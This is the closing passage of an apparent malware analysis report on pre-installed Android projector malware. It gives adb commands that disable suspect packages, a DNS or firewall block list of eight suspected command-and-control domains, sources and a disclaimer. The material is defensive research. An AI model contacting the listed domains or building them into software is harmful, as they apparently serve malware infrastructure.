adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate
```

### Network-Level Blocking

```text
# DNS blocking or firewall rules for:
store-api.aodintech.com
cdn-store.aodintech.com
sta.smartinnovate.net
event-api.aodintech.com
pb-api.aodintech.com
api.pixelpioneerss.com
bur.thedynamicleap.com
ota.triplesai.com
```

---

## 18. Sources

1. Zane St. John: "Reverse-Engineering Pre-installed Android Malware with Claude Code", January 2026. https://zanestjohn.com/blog/reing-with-claude-code
2. BSI: "BSI warns against pre-installed malware on IoT devices" (BADBOX), October 2023.
3. VirusTotal analysis of the StoreOS APK.

---

**Analysis Period:** April 11–17, 2026

**Disclaimer**
For Educational and Research Purposes Only. This report is provided "as is" for informational purposes regarding cybersecurity threats. The analysis is based on a snapshot of the current malware ecosystem; as reverse engineering is an ongoing process, findings may be subject to change as new data becomes available.

This report has been compiled in good faith and to the best of my knowledge, based on the analysis of binary data and decompiled source code. Due to the high level of obfuscation and the evolving nature of the threat, these findings represent a current state of research. While the evidence strongly supports the conclusions drawn, they are subject to refinement as further technical evidence is uncovered.

Android-Projector-C2-Malware

Explore Similar Repositories

Was this content helpful?

Recent Feedback

Download README